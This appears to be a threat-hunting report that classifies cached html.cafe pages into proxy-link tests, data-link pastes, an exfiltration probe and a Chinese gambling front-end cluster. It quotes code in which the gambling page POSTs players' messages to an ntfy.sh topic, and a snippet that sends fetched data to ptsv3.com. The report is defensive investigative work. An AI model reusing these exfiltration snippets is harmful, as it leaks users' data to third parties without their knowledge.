Investigator H01. Local cache: 9,492 pages (May–Jul 2026). Method: local_grep + local_read only (no live fetch of html.cafe). All IDs link to https://html.cafe/<id>.
| Kind | Count | Definition |
|---|---|---|
| marker-test (swarm link-format probes) | 19 | 10x attempt0–9 + magic new posted + ZZZROOTTEST + unique-ABCD + 6x allorigins.hexlet example tests |
| reference paste (proxy-wrapped data URLs) | 8 | ECDC x2, usaspending x2, datausa x1, CBS x1, healthdata/IHME x1, markdown.new/datawrapper x1 |
| exfil-probe (fetch data source + POST out) | 1 | x9b6fb54d ASP4: AIHW xlsx via Aspose → ptsv3.com + httpstat.us/httpbingo delay oracles |
| Chinese-language harness (ntfy exfil) | 24 | y8国际 gambling cluster; representative x00aec1e2 posts to ntfy.sh/y8_admin_2026; backend y8-server.onrender.com |
| other ntfy / signal uses (not swarm) | 7 | Japanese anonchat x3, Persian visitor-tracker x2, admin-panel x1, Japanese tower-cutter game x1 |
| background noise (generic allorigins/cors tutorials, games, Tube clones) | ~9,400 | 223 proxy/data grep hits mostly generic; 1752 fetch hits mostly generic; ~2000 CJK hits mostly JP/ZH ordinary content |
| id / link | kind | title / h1 | outbound hosts | relay target | evidence |
|---|---|---|---|---|---|
| xd2f32c69 | marker-test | attempt0 | api.cors.lol, atlas.ecdc.europa.eu | — | <h1>attempt0</h1><a href="https://api.cors.lol/?url=https://atlas.ecdc.europa.eu"> |
| x1a64947d | marker-test | attempt1 | api.cors.lol, atlas.ecdc.europa.eu | — | same pattern attempt1 |
| x4ee8c577 | marker-test | attempt2 | api.cors.lol | — | attempt2 |
| x5c63bdec | marker-test | attempt3 | api.cors.lol | — | attempt3 |
| x4ac6a2c6 | marker-test | attempt4 | api.cors.lol | — | attempt4 |
| x5fb3637a | marker-test | attempt5 | api.cors.lol | — | attempt5 |
| xd691718d | marker-test | attempt6 | api.cors.lol | — | attempt6 |
| x7bc0b54f | marker-test | attempt7 | api.cors.lol | — | attempt7 |
| x2f622d7f | marker-test | attempt8 | api.cors.lol | — | attempt8 |
| x3b33c68e | marker-test | attempt9 | api.cors.lol | — | attempt9 |
| x5a4eabda | marker-test | magic new posted | api.cors.lol | — | <h1>magic new posted</h1><a href="https://api.cors.lol/?url=https://atlas.ecdc.europa.eu">LINK |
| x3a6a20fe | reference paste | ECDC links reference | api.cors.lol, proxy.killcors.com, atlas.ecdc.europa.eu | — | 108 links GetMeasureResultsForTimePeriodAndGeoLevel?measureIds=1209270&timeCodes=2019… via both proxies + direct |
| x6eb0c161 | reference paste | My API links | api.cors.lol, proxy.killcors.com, atlas.ecdc.europa.eu | — | annual2019 proxy encoded/plain/direct/kill (4 links) |
| x4bad7f69 | reference paste | (bare) | api.usaspending.gov | — | /api/v2/recipient/children/177297397/ |
| x4f58e80e | reference paste | research link | api.usaspending.gov | — | research link …/c1110939-b017-a225-45fa-6f5575d59db0-C/?year=2022 |
| x622efeff | reference paste | (bare) | api.datausa.io | — | https://api.datausa.io/tesseract/cubes “Cubes” |
| xda2e8791 | reference paste | (bare) | opendata.cbs.nl, datasets.cbs.nl | — | 83779ENG TypedDataSet/TableInfos + 83779NED Observations |
| x09ff81be | reference paste | Health Data link reference | allorigins.hexlet.app, vizhub.healthdata.org | — | anemia annual aggregate location_id=35…year=2000 via raw + direct |
| x61fbfc38 | reference paste | (bare mine) | markdown.new, datawrapper.dwcdn.net | — | https://markdown.new/https://datawrapper.dwcdn.net/kFhxW/13/dataset.csv |
| x9b6fb54d | exfil-probe | ASP4 START | api.products.aspose.app, www.aihw.gov.au, ptsv3.com, httpstat.us, httpbingo.org | ptsv3.com/asp4191479269 | BIN='asp4191479269', target='https://www.aihw.gov.au/getmedia/8bf253f8…xlsx'; fetch('https://ptsv3.com/'+BIN…) |
| xecf1ef2f | marker-test | ZZZROOTTEST | md.succ.ai, example.com | — | ZZZROOTTEST <a href="https://md.succ.ai/https://example.com">ROTO |
| xadc2a8fa | marker-test | my super link unique ABCD | allorigins.hexlet.app, example.org | — | unique ABCD + Example Raw Link |
| xc4ed1b27 | marker-test | test EX | allorigins.hexlet.app | — | EX link to example.org |
| xc79287dc | marker-test | Hello test custom | allorigins.hexlet.app | — | custom link |
| xf7c7423c | marker-test | Click | allorigins.hexlet.app | — | Click link |
| x4602abac | marker-test | proxy direct | allorigins.hexlet.app | — | proxy direct |
| x6fcb3dec | marker-test | testlink | allorigins.hexlet.app | — | testlink example.com |
| x69671031 | other/test | test howlongtobeat | allorigins.hexlet.app, howlongtobeat.com | — | game/1028 via raw proxy |
y8 Chinese-harness cluster (24 files, all same backend https://y8-server.onrender.com/api except x00aec1e2 which uses ntfy): x00aec1e2, x0ebaae84, x1aa9b6f3, x229622fb, x22d617ce, x2323bc34, x2b2db555, x3b03b91e, x472e3f1a, x54057dbd, x5609dd39, x6140c1a2, x693de2f1, x70e50cf4, x7103a474, x91c0c116, x9b84e183, x9f399814, x9fb3cca1, xa509eed3, xdcb92188, xe604e5cf, xe79d15f7, xf76a32c6. Representative: x00aec1e2.
x00aec1e2 (y8国际 · 投注) is a full gambling front-end in Simplified Chinese. Exact comment text:
// 🔥 发送消息到 Ntfy（你手机浏览器打开 ntfy.sh/y8_admin_2026 就能看到）
Code: const TOPIC='y8_admin_2026'; await fetch('https://ntfy.sh/'+TOPIC,{method:'POST',body:`🎲 玩家 ${playerId}: ${text}`,headers:{Title:'y8国际 新消息'}}) — browser exfiltrates each bet/chat line to ntfy topic y8_admin_2026. Greeting 🤖 欢迎来到y8国际！发送指令下注，如：大双100 发送 余额 查询余额.
23 siblings share y8国际 titles/backend y8-server.onrender.com/api (admin panel x0ebaae84/x1aa9b6f3, 投注室 xa509eed3/x7103a474/xf76a32c6/x54057dbd, 公益 x2323bc34 etc.). This is a distinct Chinese-language harness reusing html.cafe + ntfy.sh as transport, thematically gambling-fraud, not the ECDC/usaspending/census research-swarm pattern. Recorded as thread “?” — do not conflate with thread A without further linkage. Other ntfy uses (Japanese anonchat anonchat-*, Persian visitor-*, tower_cutter_live_room_*) are ordinary app backends, also not thread A.
atlas\.ecdc\.europa → 13 files; y8国际|y8-server → 24 files; ntfy\.sh/[A-Za-z0-9_\-]+ → only x00aec1e2 comment.发送消息到 Ntfy and TOPIC.api.cors.lol/?url=https://atlas.ecdc.europa.eu.BIN='asp4191479269' + ptsv3.com + aihw.gov.au.No URLXUNIQ/UNIQINJECT/TESTREF/MARK007/FAKEHTTP/HINJ/32-hex nsi.bg filter, no Agent*/TestAgent*/ma*/zz* page names, no sec.gov/files, investor.gov, dataafrica, worldpoverty, usaspending proxy-wrapped variants beyond 2 direct links, no counterapi signal, no jsonhero/jotspot, no YOURLS/da.gd, no pinggy tunnels, no blob.core.windows.net in the May–Jul cache beyond the hits above. CJK grep (~2000 hits) is overwhelmingly ordinary JP/ZH content.
Suggest next: enumerate y8-server.onrender.com API (read-only), scan ntfy.sh/y8_admin_2026 retention, hunt html.cafe outside May–Jul window, and compare Aspose/httpbingo TTPs.